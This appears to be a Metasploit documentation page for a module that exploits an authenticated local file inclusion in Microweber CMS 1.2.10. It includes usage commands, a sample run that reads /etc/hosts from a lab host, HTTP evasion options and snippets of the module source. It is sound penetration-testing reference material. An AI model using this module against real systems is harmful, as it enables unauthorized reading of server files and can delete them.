Microweber CMS v1.2.10 Local File Inclusion (Authenticated) - Metasploit


This page contains detailed information about how to use the auxiliary/gather/microweber_lfi metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Microweber CMS v1.2.10 Local File Inclusion (Authenticated)
Module: auxiliary/gather/microweber_lfi
Source code: modules/auxiliary/gather/microweber_lfi.rb
Disclosure date: 2022-01-30
Last modification time: 2022-02-22 14:21:33 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -

Microweber CMS v1.2.10 has a backup functionality. Upload and download endpoints can be combined to read any file from the filesystem. Upload function may delete the local file if the web service user has access.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • os-resource-loss: Modules may cause a resource (such as a file) to be unavailable for the OS.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


msf > use auxiliary/gather/microweber_lfi
msf auxiliary(microweber_lfi) > show targets
    ... a list of targets ...
msf auxiliary(microweber_lfi) > set TARGET target-id
msf auxiliary(microweber_lfi) > show options
    ... show and set options ...
msf auxiliary(microweber_lfi) > exploit

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

  • USERNAME: The admin's username for Microweber

  • PASSWORD: The admin's password for Microweber

  • LOCAL_FILE_PATH: The path of the local file.

Knowledge Base


Vulnerable Applications


Microweber CMS v1.2.10 LFI (Authenticated) has been verified and fixed according to the maintainer of the project. You check out the vulnerability report: https://huntr.dev/bounties/09218d3f-1f6a-48ae-981c-85e86ad5ed8b/

The older versions of Microweber CMS might be vulnerable too. I've not tested the module against the other versions. If you want, you can follow the steps in the official vulnerability report to reproduce the vulnerability against the older versions. (not guaranteed)

Verification Steps


  • [ ] Start msfconsole
  • [ ] Run use auxiliary/gather/microweber_lfi
  • [ ] Set RHOSTS
  • [ ] Set USERNAME
  • [ ] Set PASSWORD
  • [ ] Set LOCAL_FILE_PATH
  • [ ] Run exploit
  • [ ] Verify that you see Checking if it's Microweber CMS.
  • [ ] Verify that you see Microweber CMS has been detected.
  • [ ] Verify that you see Checking Microweber's version.
  • [ ] Verify that you see Microweber version 1.2.10
  • [ ] Verify that you see The target appears to be vulnerable.
  • [ ] Verify that you see Trying to log in.
  • [ ] Verify that you see You are logged in
  • [ ] Verify that you see Uploading LOCAL_FILE_PATH to the backup folder.
  • [ ] Verify that you see FILE was moved!
  • [ ] Verify that you see Downloading FILE from the backup folder.
  • Options


    msf6 auxiliary(gather/microweber_lfi) > options
    
    Module options (auxiliary/gather/microweber_lfi):
    
       Name             Current Setting  Required  Description
       ----             ---------------  --------  -----------
       DEFANGED_MODE    true             yes       Run in defanged mode
       LOCAL_FILE_PATH                   yes       The path of the local file.
       PASSWORD                          yes       The admin's password for Microweber
       Proxies                           no        A proxy chain of format type:host:port[,type:host:port][...]
       RHOSTS                            yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
       RPORT            80               yes       The target port (TCP)
       SSL              false            no        Negotiate SSL/TLS for outgoing connections
       TARGETURI        /                yes       The base path for Microweber
       USERNAME                          yes       The admin's username for Microweber
       VHOST                             no        HTTP server virtual host
    

    Scenerios


    This module has been tested against Microweber CMS v1.2.10 installed on Ubuntu.

    msf6 auxiliary(gather/microweber_lfi) > use auxiliary/gather/microweber_lfi
    msf6 auxiliary(gather/microweber_lfi) > set username admin
    username => admin
    msf6 auxiliary(gather/microweber_lfi) > set password admin
    password => admin
    msf6 auxiliary(gather/microweber_lfi) > set local_file_path /etc/hosts
    local_file_path => /etc/hosts
    msf6 auxiliary(gather/microweber_lfi) > set rhosts 192.168.188.132
    rhosts => 192.168.188.132
    msf6 auxiliary(gather/microweber_lfi) > check
    
    [*] Checking if it's Microweber CMS.
    [+] Microweber CMS has been detected.
    [*] Checking Microweber's version.
    [+] Microweber version 1.2.10
    [*] 192.168.188.132:80 - The target appears to be vulnerable.
    msf6 auxiliary(gather/microweber_lfi) > exploit
    [*] Running module against 192.168.188.132
    
    [*] Running automatic check ("set AutoCheck false" to disable)
    [*] Checking if it's Microweber CMS.
    [+] Microweber CMS has been detected.
    [*] Checking Microweber's version.
    [+] Microweber version 1.2.10
    [+] The target appears to be vulnerable.
    [-] Auxiliary aborted due to failure: bad-config: Triggering this vulnerability may delete the local file if the web service user has the permission.
    If you want to continue, disable the DEFANGED_MODE.
    => set DEFANGED_MODE false
    msf6 auxiliary(gather/microweber_lfi) > set defanged_mode false
    defanged_mode => false
    msf6 auxiliary(gather/microweber_lfi) > exploit
    [*] Running module against 192.168.188.132
    
    [*] Running automatic check ("set AutoCheck false" to disable)
    [*] Checking if it's Microweber CMS.
    [+] Microweber CMS has been detected.
    [*] Checking Microweber's version.
    [+] Microweber version 1.2.10
    [+] The target appears to be vulnerable.
    [*] Trying to log in.
    [+] You are logged in
    [*] Uploading /etc/hosts to the backup folder.
    [+] hosts was moved!
    [*] Downloading hosts from the backup folder.
    [*] 127.0.0.1 localhost
    127.0.1.1 ubuntu-srv-tk
    
    # The following lines are desirable for IPv6 capable hosts
    ::1     ip6-localhost ip6-loopback
    fe00::0 ip6-localnet
    ff00::0 ip6-mcastprefix
    ff02::1 ip6-allnodes
    ff02::2 ip6-allrouters
    
    [*] Auxiliary module execution completed
    

Go back to menu.

Msfconsole Usage


Here is how the gather/microweber_lfi auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/microweber_lfi

msf6 auxiliary(gather/microweber_lfi) > show info

       Name: Microweber CMS v1.2.10 Local File Inclusion (Authenticated)
     Module: auxiliary/gather/microweber_lfi
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2022-01-30

Provided by:
  Talha Karakumru <[email protected]>

Module side effects:
 artifacts-on-disk
 ioc-in-logs

Module stability:
 os-resource-loss

Module reliability:
 repeatable-session

Check supported:
  Yes

Basic options:
  Name             Current Setting  Required  Description
  ----             ---------------  --------  -----------
  DEFANGED_MODE    true             yes       Run in defanged mode
  LOCAL_FILE_PATH                   yes       The path of the local file.
  PASSWORD                          yes       The admin's password for Microweber
  Proxies                           no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                            yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasp
                                              loit
  RPORT            80               yes       The target port (TCP)
  SSL              false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI        /                yes       The base path for Microweber
  USERNAME                          yes       The admin's username for Microweber
  VHOST                             no        HTTP server virtual host

Description:
  Microweber CMS v1.2.10 has a backup functionality. Upload and 
  download endpoints can be combined to read any file from the 
  filesystem. Upload function may delete the local file if the web 
  service user has access.

References:
  https://huntr.dev/bounties/09218d3f-1f6a-48ae-981c-85e86ad5ed8b/

Module Options


This is a complete list of options available in the gather/microweber_lfi auxiliary module:

msf6 auxiliary(gather/microweber_lfi) > show options

Module options (auxiliary/gather/microweber_lfi):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   DEFANGED_MODE    true             yes       Run in defanged mode
   LOCAL_FILE_PATH                   yes       The path of the local file.
   PASSWORD                          yes       The admin's password for Microweber
   Proxies                           no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                            yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metas
                                               ploit
   RPORT            80               yes       The target port (TCP)
   SSL              false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI        /                yes       The base path for Microweber
   USERNAME                          yes       The admin's username for Microweber
   VHOST                             no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the gather/microweber_lfi auxiliary module:

msf6 auxiliary(gather/microweber_lfi) > show advanced

Module advanced options (auxiliary/gather/microweber_lfi):

   Name                  Current Setting                      Required  Description
   ----                  ---------------                      --------  -----------
   AutoCheck             true                                 no        Run check before exploit
   DOMAIN                WORKSTATION                          yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                 no        Conform to IIS, should work for most servers. Only set to fals
                                                                        e for non-IIS servers
   FingerprintCheck      true                                 no        Conduct a pre-exploit fingerprint verification
   ForceExploit          false                                no        Override check result
   HttpClientTimeout                                          no        HTTP connection and receive timeout
   HttpPassword                                               no        The HTTP password to specify for authentication
   HttpRawHeaders                                             no        Path to ERB-templatized raw headers to append to existing head
                                                                        ers
   HttpTrace             false                                no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                              no        HTTP request and response colors for HttpTrace (unset to disab
                                                                        le)
   HttpTraceHeadersOnly  false                                no        Show HTTP headers only in HttpTrace
   HttpUsername                                               no        The HTTP username to specify for authentication
   SSLVersion            Auto                                 yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23
                                                                         are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1,
                                                                        TLS1.1, TLS1.2)
   UserAgent             Mozilla/5.0 (iPad; CPU OS 15_3_1 li  no        The User-Agent header to use for all requests
                         ke Mac OS X) AppleWebKit/605.1.15 (
                         KHTML, like Gecko) Version/15.2 Mob
                         ile/15E148 Safari/604.1
   VERBOSE               false                                no        Enable detailed status messages
   WORKSPACE                                                  no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the gather/microweber_lfi module can do:

msf6 auxiliary(gather/microweber_lfi) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the gather/microweber_lfi auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/microweber_lfi) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space
                                                            , tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: spac
                                                            e, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random
                                                            , hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Microweber CMS cannot be reached.


Here is a relevant code snippet related to the "Microweber CMS cannot be reached." error message:

52:	      'method' => 'GET',
53:	      'uri' => normalize_uri(target_uri.path, 'admin', 'login')
54:	    })
55:	
56:	    if res.nil?
57:	      fail_with(Failure::Unreachable, 'Microweber CMS cannot be reached.')
58:	    end
59:	
60:	    print_status 'Checking if it\'s Microweber CMS.'
61:	
62:	    if res.code == 200 && !res.body.include?('Microweber')

Microweber CMS has not been detected.


Here is a relevant code snippet related to the "Microweber CMS has not been detected." error message:

58:	    end
59:	
60:	    print_status 'Checking if it\'s Microweber CMS.'
61:	
62:	    if res.code == 200 && !res.body.include?('Microweber')
63:	      print_error 'Microweber CMS has not been detected.'
64:	      Exploit::CheckCode::Safe
65:	    end
66:	
67:	    if res.code != 200
68:	      fail_with(Failure::Unknown, res.body)

Microweber version


Here is a relevant code snippet related to the "Microweber version" error message:

86:	    if version == Rex::Version.new('1.2.10')
87:	      print_good 'Microweber version ' + version.to_s
88:	      return Exploit::CheckCode::Appears
89:	    end
90:	
91:	    print_error 'Microweber version ' + version.to_s
92:	
93:	    if version < Rex::Version.new('1.2.10')
94:	      print_warning 'The versions that are older than 1.2.10 have not been tested. You can follow the exploitation steps of the official vulnerability report.'
95:	      return Exploit::CheckCode::Unknown
96:	    end

The versions that are older than 1.2.10 have not been tested. You can follow the exploitation steps of the official vulnerability report.


Here is a relevant code snippet related to the "The versions that are older than 1.2.10 have not been tested. You can follow the exploitation steps of the official vulnerability report." error message:

89:	    end
90:	
91:	    print_error 'Microweber version ' + version.to_s
92:	
93:	    if version < Rex::Version.new('1.2.10')
94:	      print_warning 'The versions that are older than 1.2.10 have not been tested. You can follow the exploitation steps of the official vulnerability report.'
95:	      return Exploit::CheckCode::Unknown
96:	    end
97:	
98:	    return Exploit::CheckCode::Safe
99:	  end

Log in request failed.


Here is a relevant code snippet related to the "Log in request failed." error message:

111:	        'where_to' => 'admin_content'
112:	      }
113:	    })
114:	
115:	    if res.nil?
116:	      fail_with(Failure::Unreachable, 'Log in request failed.')
117:	    end
118:	
119:	    if res.code != 200
120:	      fail_with(Failure::Unknown, res.body)
121:	    end

Wrong username or password.


Here is a relevant code snippet related to the "Wrong username or password." error message:

120:	      fail_with(Failure::Unknown, res.body)
121:	    end
122:	
123:	    json_res = res.get_json_document
124:	
125:	    if !json_res['error'].nil? && json_res['error'] == 'Wrong username or password.'
126:	      fail_with(Failure::BadConfig, 'Wrong username or password.')
127:	    end
128:	
129:	    if !json_res['success'].nil? && json_res['success'] == 'You are logged in'
130:	      print_good 'You are logged in.'

Wrong username or password.


Here is a relevant code snippet related to the "Wrong username or password." error message:

121:	    end
122:	
123:	    json_res = res.get_json_document
124:	
125:	    if !json_res['error'].nil? && json_res['error'] == 'Wrong username or password.'
126:	      fail_with(Failure::BadConfig, 'Wrong username or password.')
127:	    end
128:	
129:	    if !json_res['success'].nil? && json_res['success'] == 'You are logged in'
130:	      print_good 'You are logged in.'
131:	      return

An unknown error occurred.


Here is a relevant code snippet related to the "An unknown error occurred." error message:

129:	    if !json_res['success'].nil? && json_res['success'] == 'You are logged in'
130:	      print_good 'You are logged in.'
131:	      return
132:	    end
133:	
134:	    fail_with(Failure::Unknown, 'An unknown error occurred.')
135:	  end
136:	
137:	  def try_upload
138:	    print_status 'Uploading ' + datastore['LOCAL_FILE_PATH'] + ' to the backup folder.'
139:	

Upload request failed.


Here is a relevant code snippet related to the "Upload request failed." error message:

154:	        'Referer' => referer
155:	      }
156:	    })
157:	
158:	    if res.nil?
159:	      fail_with(Failure::Unreachable, 'Upload request failed.')
160:	    end
161:	
162:	    if res.code != 200
163:	      fail_with(Failure::Unknown, res.body)
164:	    end

Either the file cannot be read or the file does not exist.


Here is a relevant code snippet related to the "Either the file cannot be read or the file does not exist." error message:

172:	      end
173:	
174:	      fail_with(Failure::Unknown, res.body)
175:	    end
176:	
177:	    fail_with(Failure::BadConfig, 'Either the file cannot be read or the file does not exist.')
178:	  end
179:	
180:	  def try_download
181:	    filename = datastore['LOCAL_FILE_PATH'].include?('\\') ? datastore['LOCAL_FILE_PATH'].split('\\')[-1] : datastore['LOCAL_FILE_PATH'].split('/')[-1]
182:	    print_status 'Downloading ' + filename + ' from the backup folder.'

Download request failed.


Here is a relevant code snippet related to the "Download request failed." error message:

198:	        'Referer' => referer
199:	      }
200:	    })
201:	
202:	    if res.nil?
203:	      fail_with(Failure::Unreachable, 'Download request failed.')
204:	    end
205:	
206:	    if res.code != 200
207:	      fail_with(Failure::Unknown, res.body)
208:	    end

error


Here is a relevant code snippet related to the "error" error message:

208:	    end
209:	
210:	    if res.headers['Content-Type'] == 'application/json'
211:	      json_res = res.get_json_document
212:	
213:	      if json_res['error']
214:	        fail_with(Failure::Unknown, json_res['error'])
215:	        return
216:	      end
217:	    end
218:	

error


Here is a relevant code snippet related to the "error" error message:

209:	
210:	    if res.headers['Content-Type'] == 'application/json'
211:	      json_res = res.get_json_document
212:	
213:	      if json_res['error']
214:	        fail_with(Failure::Unknown, json_res['error'])
215:	        return
216:	      end
217:	    end
218:	
219:	    print_status res.body

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Talha Karakumru <talhakarakumru[at]gmail.com>

Version


This page has been produced using Metasploit Framework version 6.1.33-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.